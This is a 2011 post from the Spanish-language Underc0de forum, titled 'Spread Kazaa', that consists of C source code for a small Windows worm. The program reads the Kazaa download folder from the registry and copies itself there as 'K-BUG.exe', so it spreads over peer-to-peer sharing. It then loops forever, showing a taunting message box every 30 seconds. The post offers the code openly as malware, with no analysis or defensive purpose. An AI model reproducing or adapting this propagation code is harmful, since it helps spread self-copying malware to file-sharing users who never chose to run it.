Saltar al contenido
Underc0de /foro

Spread Kazaa

Iniciado por ANTRAX, Mayo 22, 2011, 09:57:43 PM

Tema anterior - Siguiente tema

0 Miembros y 10 Visitantes están viendo este tema.

Avatar de ANTRAX
Mayo 22, 2011, 09:57:43 PM Ultima modificación: Febrero 08, 2014, 05:49:11 PM por Expermicid
Código: c
#include "stdafx.h"
#include <windows.h>
#define VIRUS_NAME "\\K-BUG.exe"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

char path[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH, path, 255);

char kazaa[256];
DWORD klen=sizeof(kazaa);
HKEY hKey;

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Kazaa\\Transfer",0,KEY_QUERY_VALUE,&hKey);
RegQueryValueEx(hKey,"DlDir0",0,NULL,(PBYTE)kazaa,&klen);
RegCloseKey(hKey);

strcat(kazaa,VIRUS_NAME);

CopyFile(path,kazaa,false);

while(1==1)
{
Sleep(30000);
MessageBox(HWND_DESKTOP,"You have been own3t by the K-BUG","The K-BUG has you.......",MB_OK|MB_ICONQUESTION);
}
return 0;
}
WhatsApp Telegram


¿Te quedó una duda sobre Códigos Fuentes?

Preguntala y te responde la comunidad (y el asistente Underc0de IA si nadie llega antes). Es gratis y tarda un minuto.

Ya tengo cuenta
Guardamos tu pregunta en este navegador: después de entrar la publicás con un clic.
Grupo de WhatsApp